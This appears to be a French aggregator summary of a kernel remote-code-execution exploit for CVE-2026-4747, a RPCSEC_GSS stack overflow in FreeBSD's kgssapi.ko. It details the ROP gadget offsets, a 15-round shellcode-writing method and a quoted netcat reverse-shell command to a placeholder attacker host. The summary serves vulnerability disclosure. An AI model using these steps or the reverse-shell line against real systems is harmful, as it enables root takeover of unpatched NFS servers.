3 points par GN⁺ 27 일 전 | Aucun commentaire pour le moment. | Partager sur WhatsApp
  • Le module kgssapi.ko de FreeBSD permet une exécution de code à distance à cause d’un stack buffer overflow lors du traitement de l’authentification RPCSEC_GSS
  • La fonction svc_rpc_gss_validate() copie les données d’identification sans vérification des limites, jusqu’à écraser l’adresse de retour
  • Un attaquant peut utiliser un ticket Kerberos valide pour injecter une chaîne ROP noyau via le chemin RPCSEC_GSS d’un serveur NFS
  • Grâce à un overflow en 15 étapes, il est possible d’écrire puis d’exécuter 432 octets de shellcode dans la zone BSS du noyau, afin d’obtenir un reverse shell avec les privilèges root
  • Certaines versions de FreeBSD 13.5 à 15.0 sont affectées ; le correctif ajoute une logique de validation de oa_length

CVE-2026-4747 — Stack buffer overflow RPCSEC_GSS dans kgssapi.ko de FreeBSD

  • Vulnérabilité de stack buffer overflow survenant lors du traitement de l’authentification RPCSEC_GSS dans le module kgssapi.ko de FreeBSD
  • La fonction svc_rpc_gss_validate() recopie les données d’identification sans contrôle des limites sur oa_length lorsqu’elle reconstruit l’en-tête RPC dans un buffer de pile de 128 octets
  • Après l’en-tête fixe de 32 octets, toute information d’identification dépassant les 96 octets restants écrase les variables locales, les registres sauvegardés et jusqu’à l’adresse de retour
  • Les versions FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) sont affectées
  • Le correctif ajoute une condition vérifiant avant la copie si oa_length dépasse la taille du buffer

Structure de l’overflow et impact

  • L’analyse du prologue de la fonction montre que le tableau rpchdr se trouve à [rbp-0xc0], et que la copie commence à [rbp-0xa0]
  • À partir de 96 octets, l’écriture déborde successivement sur RBX, R12 à R15, RBP, puis l’adresse de retour sauvegardée
  • Dans l’attaque réelle, à cause de l’en-tête GSS et du handle de contexte de 16 octets, l’adresse de retour se situe au 200e octet du corps des identifiants
  • Le code vulnérable n’est atteignable que via le chemin d’authentification RPCSEC_GSS du serveur NFS
  • L’attaquant doit être un utilisateur disposant d’un ticket Kerberos valide, puis déclencher l’overflow à l’étape d’authentification RPCSEC_GSS (procédure DATA)

Mise en place de l’environnement d’attaque

  • VM cible : FreeBSD 14.4-RELEASE amd64, serveur NFS activé, kgssapi.ko chargé, KDC MIT Kerberos en fonctionnement
  • Machine attaquante : Linux, module Python3 gssapi et client MIT Kerberos installés, accès à NFS (2049/TCP) et au KDC (88/TCP)
  • La configuration est possible sur divers hyperviseurs comme QEMU, VMware, VirtualBox ou bhyve
  • Pour Kerberos, les paramètres rdns=false et dns_canonicalize_hostname=false dans krb5.conf sont indispensables
  • Le nom d’hôte (test) et le principal de service (nfs/test@TEST.LOCAL) doivent correspondre entre la VM et l’attaquant

Structure de l’exploit RCE noyau distant

  • L’attaque repose sur un overflow multi-étapes en 15 rounds
    1. Création d’un nouveau contexte Kerberos GSS à chaque round
    2. Envoi d’un paquet RPCSEC_GSS DATA surdimensionné
    3. Écrasement de l’adresse de retour par un gadget ROP pour écrire des données en mémoire noyau ou exécuter le shellcode
    4. Appel à kthread_exit() pour terminer proprement le thread NFS
  • Chaque round utilise environ 200 octets de chaîne ROP et les 432 octets de shellcode sont transmis sur 15 envois
  • FreeBSD crée 8 threads NFS par CPU, ce qui impose au minimum 2 CPU (16 threads)

Composition de la chaîne ROP

  • Principaux gadgets ROP :
    • pop rdi; ret (K+0x1adcda)
    • pop rsi; ret (K+0x1cdf98)
    • pop rdx; ret (K+0x5fa429)
    • pop rax; ret (K+0x400cb4)
    • mov [rdi], rax; ret (0xffffffff80e3457c) — écriture arbitraire de 8 octets en mémoire noyau
  • Round 1 : appel à pmap_change_prot() pour rendre la zone BSS du noyau RWX
  • Rounds 2–14 : écriture du shellcode dans la BSS par blocs de 32 octets avec le gadget mov [rdi], rax
  • Round 15 : écriture des 16 derniers octets, puis saut vers le point d’entrée du shellcode

Fonctionnement du shellcode

  • Il s’exécute en mode noyau (CPL 0) et crée un processus de reverse shell avec les privilèges root
  • Comme un appel direct à execve() est impossible depuis le thread noyau NFS, l’exploit utilise une structure en deux étapes
    • Fonction d’entrée : création d’un nouveau processus noyau via kproc_create(), puis sortie
    • Fonction worker : exécution de /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"
  • Initialisation du registre DR7 pour éviter les exceptions de debug
  • Suppression du flag P_KPROC afin que fork_exit() emprunte le chemin userret au lieu de kthread_exit()
  • Au final, /bin/sh s’exécute en mode utilisateur avec les privilèges uid 0 (root)

Principaux problèmes résolus

  • Décalage d’offset des registres : le véritable offset RIP à 200 octets a été confirmé avec un motif De Bruijn
  • Incompatibilité GSS MIT–Heimdal : le problème de normalisation du nom d’hôte a été résolu via la configuration de krb5.conf
  • Héritage des registres de debug : initialisation de DR7 pour éviter l’exception trap 1
  • Limite de 400 octets : transmission fiable par blocs de 8 octets grâce à la combinaison pop rdi + pop rax + mov [rdi], rax
  • Épuisement des threads NFS : chaque round termine 1 thread, d’où la nécessité d’au moins 2 CPU

Résumé du déroulement final de l’exploit

  • L’attaquant obtient un ticket Kerberos puis envoie successivement 15 paquets d’overflow RPCSEC_GSS
  • Round 1 : passage de la BSS en RWX
  • Rounds 2–14 : écriture de 416 octets de shellcode
  • Round 15 : écriture des 16 derniers octets et exécution du shellcode
  • Le shellcode crée un nouveau processus avec kproc_create() puis exécute /bin/sh
  • L’attaquant obtient un shell root via une session nc
  • L’ensemble de l’opération prend environ 45 secondes et se réalise avec un total de 15 paquets RPC

Aucun commentaire pour le moment.

Aucun commentaire pour le moment.